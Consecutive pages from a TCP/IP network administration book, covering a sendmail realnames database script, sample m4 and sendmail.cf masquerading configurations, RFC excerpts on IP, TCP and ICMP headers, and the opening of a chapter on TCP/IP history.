Use spacesub to replace space characters after processing an address against the dequote database.

The full lists of database types and flag provided in this appendix will help you understand the K commands inserted into the sendmail.cf file by the m4 processor. Your own K commands will be much simpler. You will stick with a database type that is supported by your sendmail and makemap commands, and you will build simple databases designed to fulfill specific purposes. Chapter 10 provides examples of such databases, and the next section contains some simple scripts used to build those example databases.

E.4.4.1 Sample script

In Chapter 10, the realnames database is used to rewrite login usernames to the "firstname dot lastname" format for outbound email. The script shown below builds the realnames database from the /etc/passwd file.

#! /bin/sh
#
# Eliminate "non-login" accounts
grep -v ':*:' /etc/passwd | \
# Eliminate "exposed" usernames, i.e. usernames defined
#  in class E as names that should not be re-written
grep -v 'root:' | \
# Replace delimiting colons with whitespace
sed 's/:/ /g' | \
# Output the username followed by firstname.lastname
awk '{ print $1, $5"."$6 }' > realnames
# Build the realnames database
makemap dbm realnames < realnames

Building realnames from the passwd file is completely dependent on the format of that file. The passwd file must have a consistent format for the GECOS field and a consistent way to identify a "non-user" account. A "non-user" account is not accessed by a user to log in or to collect email. It is normally a system account used by system or application software. A classic example is the uucp account. Every system has some way to mark that these accounts are not used for user logins. Some systems use an asterisk in the password field, while others use an exclamation mark, the letters NP, an x, or something else. The sample script assumes that an asterisk is used, which is the case on my Linux system. (My Solaris systems uses an x.) Print out your passwd file to find out what it uses and modify the script accordingly.

The sample script also assumes that the first two values in the GECOS field are the user's first and last name separated by a blank. If the beginning of the GECOS field is in any other format, the script produces garabage. The procedure you use to add new users to your system should produce a consistent GECOS field. Inconsistency is the enemy of automation. The sample below shows a file that has inconsistencies and the bad data it produces:

% cat /etc/passwd
root:oRd1L/vMzzxno:0:1:System Administrator:/:/bin/csh
nobody:*:65534:65534::/:
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
ingres:*:7:7::/usr/ingres:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
craig:1LrpKlz8sYjw:198:102:Craig Hunt:/home/craig:/bin/csh
dan:RSU.NYlKuFqzh2:214:885:Dan Scribner:/home/dan:/bin/csh
becca:monfTHdnjj:101:102:"Becky_Hunt":/home/becca:/bin/csh
dave:lniuhugfds:121:885:David H. Craig:/home/dave:/bin/csh
kathy:TUVigddehh:101:802:Kathleen S McCafferty:/home/kathy:/bin/csh
% build.realnames
% cat realnames
craig Craig.Hunt
dan Dan.Scribner
becca "Becky_Hunt"./home/becca
dave David.H.
kathy Kathleen.S

Your passwd file may have grown over time under the control of several different system administrators. It may be full of inconsistencies. If it is, clean it up before you run the script to build email aliases, and then maintain it consistently.

Previous: E.3 m4 sendmail Macros | TCP/IP Network Administration | Next: E.5 Sample Configurations
E.3 m4 sendmail Macros | Book Index | E.5 Sample Configurations


[Appendix E] E.5 Sample Configurations

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: E.4 More sendmail.cf Appendix E
A sendmail Reference 		Next: F. Selected TCP/IP Headers

E.5 Sample Configurations

In Chapter 10 we develop a sendmail configuration. The configuration has these characteristics:

  • It runs on a Linux system.

  • The hostname of the sending system is rewritten to the domain name on all out-bound mail. The hostname is rewritten in the message headers and the envelope headers.

  • The sender's username on all outgoing mail is rewritten to the user's first name and last name.

We use two approaches to produce this configuration. First, we use the sample m4 source files that come with sendmail to create a custom macro configuration file. Next, we created the same configuration by directly modifying the sample sendmail.cf file that comes with Slackware 96 Linux. In this section we recap both sample configurations.

To many system administrators, the simpliest way to create the configuration is to use the m4 macro source files. The macro source files are very short, and many people feel they are easier to read than the sendmail.cf file. If you download and compile sendmail, it is a good idea to use the macro files because the features in those files will match the downloaded sendmail release.

We name the macro file we create in Chapter 10 linux.mc. The file contains these macros:

VERSIONID('@(#)tcpproto.mc	8.5 (Berkeley) 3/23/96')
OSTYPE(linux)
DOMAIN(nuts.com)
FEATURE(nouucp)
MAILER(local)
MAILER(smtp)

It is identical to the tcpproto.mc file delivered with sendmail, with two modifications. First, we change the OSTYPE macro to define Linux as the operating system. Next we add a DOMAIN(nuts.com) line to invoke a "domain-specific" macro file we create and name nuts.com.m4. The nuts.com.m4 file contains the following lines:

MASQUERADE_AS(nuts.com)
FEATURE(masquerade_envelope)
FEATURE(genericstable)

These three lines peform all of the functions we required of our configuration. The MASQUERADE_AS statement rewrites the hostname to the domain name. The FEATURE(masquerade_envelope) statement ensures that the hostname is rewritten in the envelope headers as well as the message headers. The FEATURE(generictable) statement causes the username to be processed through the genericstable, which is the database we use to convert it to the user's first and last name.

All of the functions we require of our configuration are accomplished in five lines. Modifying the sendmail.cf file directly requires much more effort. However, the the m4 source files can only be used if they match the version of sendmail. For this reason, m4 is most often used by administrators who download and install sendmail themselves. Most administrators who use the sendmail that comes with their system also use the sendmail.cf file that comes with the system. In Chapter 10, we use the linux.smtp.cf file that comes with the Slackware 96 version of Linux 2.0. The detailed modifications of the file are explained in Chapter 10. Excerpts from the modified file are listed in this appendix and are heavily commented to make the modifications more understandable. A full listing of the sendmail.cf file would consume 15 pages. Compare that to the listing of the m4 files shown above.

The linux.smtp.cf file is not identical to the configuration file produced by m4, even when you follow the example in the "Building a sendmail.cf with m4 Macros" section of Chapter 10. The configurations are similar but not identical. Use this text as a general guide to the structure and function of configuration file. Don't expect the details to match your file exactly.

This excerpt shows the entire local information section because it is discussed extensively in Chapter 10:

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# The V command defines the configuration syntax version level.
# Level 6 was supported by sendmail-8.7.5, which was the release
# of sendmail that came with Slackware 96 Linux 2.0.  The vendor
# name Berkeley means that the standard syntax of the Berkeley
# distribution is supported.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# level 6 config file format
V6/Berkeley

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#Like most sendmail configuration files, the first sections of the file
#contain the data that is most likely to require custom configuration.
#In this file, the section is titled "Local info".  Note that we moved
#things around in this section to bring related items together.  They
#don't really occur in this sequence in the linux.smtp.cf file.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

##################
#   local info   #
##################
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#If your host is known by more than one hostname, the multiple host
#names are defined in class "w", which contains all of the names for
#which your host will accept mail.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Cwlocalhost

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
The j macro is correctly define by the system.  No need to set it here.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# my official domain name
# ... define this only if sendmail cannot automatically determine
# your domain
#Dj$w.Foo.COM

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#Class P is used to store pseudo domains.  It is only used in this
#file to store a dot (.) used to identify canonical names.  The dot
#(.) class, which is supposed to be used to identify canonical names,
#is not referenced anywhere else in the file.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
CP.

# a class with just dot (for identifying canonical names)
C..

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#Several different mail relay servers can be defined.  We don't use any
#in this sample configuration.  The L macro and the L class are only
#significant if relay servers are defined for handling "local" mail.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# "Smart" relay host (may be null)
DS

# who I send unqualified names to (null means deliver locally)
DR

# who gets all local email traffic ($R has precedence for unqualified names)
DH

# place to which unknown users should be forwarded
#Kuser user -m -a<>
#DLname_of_luser_relay

# class L: names that should be delivered locally, even if we have a relay
#CL root

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#Sample K commands are included in the linux.smtp.cf file.  Of these,
#only the dequote database is active.  The others are commented out by
#default.  The purpose of each of these databases is explained earlier
#in this appendix.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# Mailer table (overriding domains)
#Kmailertable dbm /etc/mailertable

# Domain table (adding domains)
#Kdomaintable dbm /etc/domaintable

# dequoting map
Kdequote dequote

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#Several lines relate to address "masquerading".  Macro M defines the
#hostname that should be used in place of the system's real hostname
#on outgoing mail.  The M class defines other hostnames that should be
#converted to the macro M hostname.  Class E defines usernames for which
#the hostname should not be converted to $M.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# class E: names that should be exposed as from this host, even if
# we masquerade
CE root
# class M: domains that should be converted to $M
#CM

# who I masquerade as (null for no masquerading) (see also $=M)
DMnuts.com

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#We added this K command to define a database that we created that converts
#username to the user's real first and last names.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# define a database to map login names to firstname.lastname
Krealnames dbm /tmp/realnames

# operators that cannot be in local usernames (i.e., network indicators)
CO @ %

# my name for error messages
DnMAILER-DAEMON

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#Macro Z contains the configuration file's version number.  Modify it
#every time the file is updated.  Keep a record of your modifications.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#  R1.0 - modified for peanut by Craig
#       - cleaned up the comments in the local info section
#  R1.1 - modified macro M to use nuts.com instead of the
#         hostname in outgoing mail
#  R2.0 - added rule a to S11 & S31 to rewrite to first.last format
DZ8.7.3R2.0

In Chapter 10 we modified ruleset 94 to enable masquerading for envelope addresses.

###################################################################
###  Ruleset 94 -- convert envelope names to masqueraded form   ###
###################################################################
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#To enable "envelop" address masquerading we "uncommented" the first line
#in this ruleset so that it now calls ruleset 93.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
S94
R$+			$@ $>93 $1
R$* < @ *LOCAL* > $*	$: $1 < @ $j . > $2

The mailers do not usually require modification. However, in Chapter 10, we made some changes to the S rulesets of the "smtp" mailer. We made changes to both ruleset 11 and ruleset 31.

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#In Chapter 10 we added a single rule to the end of this ruleset to lookup
#the username in the "realnames" database we created and return the
#user's real first and last names.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
#  envelope sender rewriting
#
S11
R$+			$: $>51 $1			sender/recipient common
R$* :; <@>		$@				list:; special case
R$*			$: $>61 $1			qualify unqual'ed names
R$+			$: $>94 $1			do masquerading
# when masquerading convert login name to firstname.lastname
R$- < @ $M . > $*	$: $(realnames $1 $) < @ $M . > $2  user=>first.last

#
#  envelope recipient rewriting --
#  also header recipient if not masquerading recipients
#
S21
R$+			$: $>51 $1			sender/recipient common
R$+			$: $>61 $1			qualify unqual'ed names

#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#In Chapter 10 we added a single rule to the end of this ruleset to look up
#the username name in the "realnames" database we created and return the
#user's real first and last names.  This is the same modification made
#above.  Often more than one ruleset is modified to add a single new
#feature.
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
#  header sender and masquerading header recipient rewriting
#
S31
R$+			$: $>51 $1			sender/recipient common
R:; <@>			$@				list:; special case

# do special header rewriting
R$* <@> $*		$@ $1 <@> $2			pass null host through
R< @ $* > $*		$@ < @ $1 > $2			pass route-addr through
R$*			$: $>61 $1			qualify unqual'ed names
R$+			$: $>93 $1			do masquerading
# when masquerading convert login name to firstname.lastname
R$- < @ $M . > $*	$: $(realnames $1 $) < @ $M . > $2	user=>first.last

Previous: E.4 More sendmail.cf | TCP/IP Network Administration | Next: F. Selected TCP/IP Headers
E.4 More sendmail.cf | Book Index | F. Selected TCP/IP Headers


[Appendix F] Selected TCP/IP Headers

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: E.5 Sample Configurations Appendix F Next: F.2 TCP Segment Header

F. Selected TCP/IP Headers

Contents:
IP Datagram Header
TCP Segment Header
ICMP Parameter Problem Message Header

In Chapter 11, Troubleshooting TCP/IP , several references are made to specific TCP/IP headers. Those headers are documented here. This is not an exhaustive list of headers; only the headers used in the troubleshooting examples in Chapter 11 are covered:

  • IP Datagram Header, as defined in RFC 791, Internet Protocol

  • TCP Segment Header, as defined in RFC 793, Transmission Control Protocol

  • ICMP Parameter Problem Message Header, as defined in RFC 792, Internet Control Message Protocol

Each header is presented using an excerpt from the RFC that defines the header. These are not exact quotes; the excerpts have been slightly edited to better fit this text. However, we still want to emphasize the importance of using primary sources for troubleshooting protocol problems. These headers are provided here to help you follow the examples in Chapter 11. For real troubleshooting, use the real RFCs. You can obtain your own copies of the RFCs by following the instructions in Chapter 13, Internet Information Resources .

F.1 IP Datagram Header

This description is taken from pages 11 to 15 of RFC 791, Internet Protocol, by Jon Postel, Information Sciences Institute, University of Southern California.

Internet Header Format

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Version|  IHL  |Type of Service|          Total Length         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         Identification        |Flags|      Fragment Offset    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Time to Live |    Protocol   |         Header Checksum       |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                       Source Address                          |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Destination Address                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

  Version:  4 bits

    The Version field indicates the format of the internet header.
    This document describes version 4.

  IHL:  4 bits

    Internet Header Length is the length of the internet header in 32
    bit words.  The minimum value for a correct header is 5.

  Type of Service:  8 bits

    The Type of Service indication the quality of service desired.
    The meaning of the bits is explained below.

      Bits 0-2:  Precedence.
      Bit    3:  0 = Normal Delay,      1 = Low Delay.
      Bits   4:  0 = Normal Throughput, 1 = High Throughput.
      Bits   5:  0 = Normal Reliability 1 = High Reliability.
      Bit  6-7:  Reserved for Future Use.

         0     1     2     3     4     5     6     7
      +-----+-----+-----+-----+-----+-----+-----+-----+
      |                 |     |     |     |     |     |
      |   PRECEDENCE    |  D  |  T  |  R  |  0  |  0  |
      |                 |     |     |     |     |     |
      +-----+-----+-----+-----+-----+-----+-----+-----+

        Precedence

          111 - Network Control
          110 - Internetwork Control
          101 - CRITIC/ECP
          100 - Flash Override
          011 - Flash
          010 - Immediate
          001 - Priority
          000 - Routine

  Total Length:  16 bits

    Total Length is the length of the datagram, measured in octets
    (bytes), including internet header and data.

  Identification:  16 bits

    An identifying value assigned by the sender to aid in assembling
    the fragments of a datagram.

  Flags:  3 bits

    Various Control Flags.  The Flag bits are explained below:

      Bit 0: reserved, must be zero
      Bit 1: (DF) 0 = May Fragment,  1 = Don't Fragment.
      Bit 2: (MF) 0 = Last Fragment, 1 = More Fragments.

          0   1   2
        +---+---+---+
        |   | D | M |
        | 0 | F | F |
        +---+---+---+

  Fragment Offset:  13 bits

    This field indicates where in the datagram this fragment belongs.
    The fragment offset is measured in units of 8 octets (64 bits).
    The first fragment has offset zero.

  Time to Live:  8 bits

    This field indicates the maximum time the datagram is allowed to
    remain in the internet system.

  Protocol:  8 bits

    This field indicates the Transport Layer protocol that the data
    portion of this datagram is passed to.  The values for various
    protocols are specified in the "Assigned Numbers" RFC.

  Header Checksum:  16 bits

    A checksum on the header only.  Since some header fields change
    (e.g., time to live), this is recomputed and verified at each
    point that the internet header is processed.  The checksum
    algorithm is:

      The checksum field is the 16 bit one's complement of the one's
      complement sum of all 16 bit words in the header.  For purposes
      of computing the checksum, the value of the checksum field is
      zero.

  Source Address:  32 bits

    The source IP address.  See Chapter 2, Delivering the Data, for a
    description of IP addresses.

  Destination Address:  32 bits

    The destination IP address.  See Chapter 2 for a description of IP
    addresses.

  Options:  variable

    The options may or may not appear in datagrams, but they must be
    implemented by all IP modules (host and gateways).  No options
    were used in any of the datagrams examined in Chapter 11.

Previous: E.5 Sample Configurations | TCP/IP Network Administration | Next: F.2 TCP Segment Header
E.5 Sample Configurations | Book Index | F.2 TCP Segment Header


[Appendix F] F.2 TCP Segment Header

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: F.1 IP Datagram Header Appendix F
Selected TCP/IP Headers 		Next: F.3 ICMP Parameter Problem Message Header

F.2 TCP Segment Header

This description is taken from pages 15 to 17 of RFC 793, Transmission Control Protocol, by Jon Postel, Information Sciences Institute, University of Southern California.

TCP Header Format

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          Source Port          |       Destination Port        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                        Sequence Number                        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Acknowledgment Number                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |  Data |           |U|A|P|R|S|F|                               |
   | Offset| Reserved  |R|C|S|S|Y|I|            Window             |
   |       |           |G|K|H|T|N|N|                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Checksum            |         Urgent Pointer        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                    Options                    |    Padding    |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                             data                              |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

  Source Port:  16 bits

    The source port number.

  Destination Port:  16 bits

    The destination port number.

  Sequence Number:  32 bits

    The sequence number of the first data octet (byte) in this segment
    (except when SYN is present). If SYN is present the sequence
    number is the initial sequence number (ISN) and the first data
    octet is ISN+1.

  Acknowledgment Number:  32 bits

    If the ACK control bit is set, this field contains the value of
    the next sequence number the sender of the segment is expecting to
    receive.  Once a connection is established this is always sent.

  Data Offset:  4 bits

    The number of 32 bit words in the TCP Header.  This indicates
    where the data begins.  The TCP header (even one including options)
    is an integral number of 32 bits long.

  Reserved:  6 bits

    Reserved for future use.  Must be zero.

  Control Bits:  6  single-bit values (from left to right):

    URG:  Urgent Pointer field significant
    ACK:  Acknowledgment field significant
    PSH:  Push Function
    RST:  Reset the connection
    SYN:  Synchronize sequence numbers
    FIN:  No more data from sender

  Window:  16 bits

    The number of data octets (bytes) the sender of this segment is
    willing to accept.

  Checksum:  16 bits

    The checksum field is the 16 bit one's complement of the one's
    complement sum of all 16 bit words in the header and text.

  Urgent Pointer:  16 bits

    This field contains the current value of the urgent pointer as a
    positive offset from the sequence number in this segment.  The
    urgent pointer points to the sequence number of the octet
    following the urgent data.  This field is only be interpreted
    in segments with the URG control bit set.

  Options:  variable

    Options may occupy space at the end of the TCP header and are a
    multiple of 8 bits in length.

Previous: F.1 IP Datagram Header | TCP/IP Network Administration | Next: F.3 ICMP Parameter Problem Message Header
F.1 IP Datagram Header | Book Index | F.3 ICMP Parameter Problem Message Header


[Appendix F] F.3 ICMP Parameter Problem Message Header

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: F.2 TCP Segment Header Appendix F
Selected TCP/IP Headers

F.3 ICMP Parameter Problem Message Header

This description is taken from pages 8 and 9 of RFC 792, Internet Control Message Protocol, by Jon Postel, Information Sciences Institute, University of Southern California.

Parameter Problem Message

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Type      |     Code      |          Checksum             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |    Pointer    |                   unused                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |      Internet Header + 64 bits of Original Data Datagram      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   Type

      12

   Code

      0 = pointer indicates the error.

   Checksum

      The checksum is the 16-bit ones's complement of the one's
      complement sum of the ICMP message starting with the ICMP Type.
      For computing the checksum , the checksum field should be zero.

   Pointer

      If code = 0, identifies the octet where an error was detected.

   Internet Header + 64 bits of Data Datagram

      The internet header plus the first 64 bits of the datagram that
      elicited this error response.

Previous: F.2 TCP Segment Header | TCP/IP Network Administration
F.2 TCP Segment Header | Book Index


[Chapter 1] Overview of TCP/IP

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: Acknowledgments Chapter 1 Next: 1.2 A Data Communications Model

1. Overview of TCP/IP

Contents:
TCP/IP and the Internet
A Data Communications Model
TCP/IP Protocol Architecture
Network Access Layer
Internet Layer
Transport Layer
Application Layer
Summary

All of us who use a UNIX desktop system - engineers, educators, scientists, and business people - have second careers as UNIX system administrators. Networking these computers gives us new tasks as network administrators.

Network administration and system administration are two different jobs. System administration tasks such as adding users and doing backups are isolated to one independent computer system. Not so with network administration. Once you place your computer on a network, it interacts with many other systems. The way you do network administration tasks has effects, good and bad, not only on your system but on other systems on the network. A sound understanding of basic network administration benefits everyone.

Networking computers dramatically enhances their ability to communicate - and most computers are used more for communication than computation. Many mainframes and supercomputers are busy crunching the numbers for business and science, but the number of such systems pales in comparison to the millions of systems busy moving mail to a remote colleague or retrieving information from a remote repository. Further, when you think of the hundreds of millions of desktop systems that are used primarily for preparing documents to communicate ideas from one person to another, it is easy to see why most computers can be viewed as communications devices.

The positive impact of computer communications increases with the number and type of computers that participate in the network. One of the great benefits of TCP/IP is that it provides interoperable communications between all types of hardware and all kinds of operating systems.

This book is a practical, step-by-step guide to configuring and managing TCP/IP networking software on UNIX computer systems. TCP/IP is the software package that dominates UNIX data communications. It is the leading communications software for UNIX local area networks and enterprise intranets, and for the foundation of the worldwide Internet.

The name "TCP/IP" refers to an entire suite of data communications protocols. The suite gets its name from two of the protocols that belong to it: the Transmission Control Protocol and the Internet Protocol. Although there are many other protocols in the suite, TCP and IP are certainly two of the most important.

The first part of this book discusses the basics of TCP/IP and how it moves data across a network. The second part explains how to configure and run TCP/IP on a UNIX system. Let's start with a little history.

1.1 TCP/IP and the Internet

In 1969 the Advanced Research Projects Agency (ARPA) funded a research and development project to create an experimental packet-switching network. This network, called the ARPANET, was built to study techniques for providing robust, reliable, vendor-independent data communications. Many techniques of modern data communications were developed in the ARPANET.

The experimental ARPANET was so successful that many of the organizations attached to it began to use it for daily data communications. In 1975 the ARPANET was converted from an experimental network to an operational network, and the responsibility for administering the network was given to the Defense Communications Agency (DCA). [1] However, development of the ARPANET did not stop just because it was being used as an operational network; the basic TCP/IP protocols were developed after the ARPANET was operational.

[1] DCA has since changed its name to Defense Information Systems Agency (DISA).

The TCP/IP protocols were adopted as Military Standards (MIL STD) in 1983, and all hosts connected to the network were required to convert to the new protocols. To ease this conversion, DARPA [2] funded Bolt, Beranek, and Newman (BBN) to implement TCP/IP in Berkeley (BSD) UNIX. Thus began the marriage of UNIX and TCP/IP.

[2] During the 1980s and early 1990s, ARPA, which is part of the U.S. Department of Defense, was named Defense Advanced Research Projects Agency (DARPA). Currently known as ARPA, the agency is again preparing to change its name to DARPA. Whether it is known as ARPA or DARPA, the agency and its mission of funding advanced research has remained the same.

About the time that TCP/IP was adopted as a standard, the term Internet came into common usage. In 1983, the old ARPANET was divided into MILNET, the unclassified part of the Defense Data Network (DDN), and a new, smaller ARPANET. "Internet" was used to refer to the entire network: MILNET plus ARPANET.

In 1985 the National Science Foundation (NSF) created NSFNet and connected it to the then-existing Internet. The original NSFNet linked together the five NSF supercomputer centers. It was smaller than the ARPANET and no faster - 56Kbps. Nonetheless, the creation of the NSFNet was a significant event in the history of the Internet because NSF brought with it a new vision of the use of the Internet. NSF wanted to extend the network to every scientist and engineer in the United States. To accomplish this, in 1987 NSF created a new, faster backbone and a three-tiered network topology that included the backbone, regional networks, and local networks.

In 1990, the ARPANET formally passed out of existence, and the NSFNet ceased its role as a primary Internet backbone network in 1995. Still, today the Internet is larger than ever and encompasses more than 95,000 networks worldwide. This network of networks is linked together in the United States at several major interconnection points:

  • The three Network Access Points (NAPs) created by the NSF to ensure continued broad-based access to the Internet.

  • The Federal Information Exchanges (FIXs) interconnect U.S. government networks.

  • The Commercial Information Exchange (CIX) was the first interconnect specifically for commercial Internet Service Providers (ISPs).

  • The Metropolitan Area Exchanges (MAEs) were also created to interconnect commercial ISPs.

The Internet has grown far beyond its original scope. The original networks and agencies that built the Internet no longer play an essential role for the current network. The Internet has evolved from a simple backbone network, through a three-tiered hierarchical structure, to a huge network of interconnected, distributed network hubs. It has grown exponentially since 1983 - doubling in size every year. Through all of this incredible change one thing has remained constant: the Internet is built on the TCP/IP protocol suite.

A sign of the network's success is the confusion that surrounds the term internet. Originally it was used only as the name of the network built upon the Internet Protocol. Now internet is a generic term used to refer to an entire class of networks. An internet (lowercase "i") is any collection of separate physical networks, interconnected by a common protocol, to form a single logical network. The Internet (uppercase "I") is the worldwide collection of interconnected networks, which grew out of the original ARPANET, that uses Internet Protocol (IP) to link the various physical networks into a single logical network. In this book, both "internet" and "Internet" refer to networks that are interconnected by TCP/IP.

Because TCP/IP is required for Internet connection, the growth of the Internet has spurred interest in TCP/IP. As more organizations become familiar with TCP/IP, they see that its power can be applied in other network applications. The Internet protocols are often used for local area networking, even when the local network is not connected to the Internet. TCP/IP is also widely used to build enterprise networks. TCP/IP-based enterprise networks that use Internet techniques and World Wide Web tools to disseminate internal corporate information are called intranets. TCP/IP is the foundation of all of these varied networks.

1.1.1 TCP/IP Features

The popularity of the TCP/IP protocols did not grow rapidly just because the protocols were there, or because connecting to the Internet mandated their use. They met an important need (worldwide data communication) at the right time, and they had several important features that allowed them to meet this need. These features are:

  • Open protocol standards, freely available and developed independently from any specific computer hardware or operating system. Because it is so widely supported, TCP/IP is ideal for uniting different hardware and software, even if you don't communicate over the Internet.

  • Independence from specific physical network hardware. This allows TCP/IP to integrate many different kinds of networks. TCP/IP can be run over an Ethernet, a token ring, a dial-up line, an FDDI net, and virtually any other kind of physical transmission medium.

  • A common addressing scheme that allows any TCP/IP device to uniquely address any other device in the entire network, even if the network is as large as the worldwide Internet.

  • Standardized high-level protocols for consistent, widely available user services.

1.1.2 Protocol Standards

Protocols are formal rules of behavior. In international relations, protocols minimize the problems caused by cultural differences when various nations work together. By agreeing to a common set of rules that are widely known and independent of any nation's customs, diplomatic protocols minimize misunderstandings; everyone knows how to act and how to interpret the actions of others. Similarly, when computers communicate, it is necessary to define a set of rules to govern their communications.

In data communications these sets of rules are also called protocols. In homogeneous networks, a single computer vendor specifies a set of communications rules designed to use the strengths of the vendor's operating system and hardware architecture. But homogeneous networks are like the culture of a single country - only the natives are truly at home in it. TCP/IP attempts to create a heterogeneous network with open protocols that are independent of operating system and architectural differences. TCP/IP protocols are available to everyone, and are developed and changed by consensus - not by the fiat of one manufacturer. Everyone is free to develop products to meet these open protocol specifications.

The open nature of TCP/IP protocols requires publicly available standards documents. All protocols in the TCP/IP protocol suite are defined in one of three Internet standards publications. A number of the protocols have been adopted as Military Standards (MIL STD). Others were published as Internet Engineering Notes (IEN) - though the IEN form of publication has now been abandoned. But most information about TCP/IP protocols is published as Requests for Comments (RFCs). RFCs contain the latest versions of the specifications of all standard TCP/IP protocols. [3] As the title "Request for Comments" implies, the style and content of these documents is much less rigid than most standards documents. RFCs contain a wide range of interesting and useful information, and are not limited to the formal specification of data communications protocols.

[3] Interested in finding out how Internet standards are created? Read The Internet Standards Process, RFC 1310.

As a network system administrator, you will no doubt read many of the RFCs yourself. Some contain practical advice and guidance that is simple to understand. Other RFCs contain protocol implementation specifications defined in terminology that is unique to data communications.

Previous: Acknowledgments | TCP/IP Network Administration | Next: 1.2 A Data Communications Model
Acknowledgments | Book Index | 1.2 A Data Communications Model


[Chapter 1] 1.2 A Data Communications Model

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 1.1 TCP/IP and the Internet Chapter 1
Overview of TCP/IP 		Next: 1.3 TCP/IP Protocol Architecture

1.2 A Data Communications Model

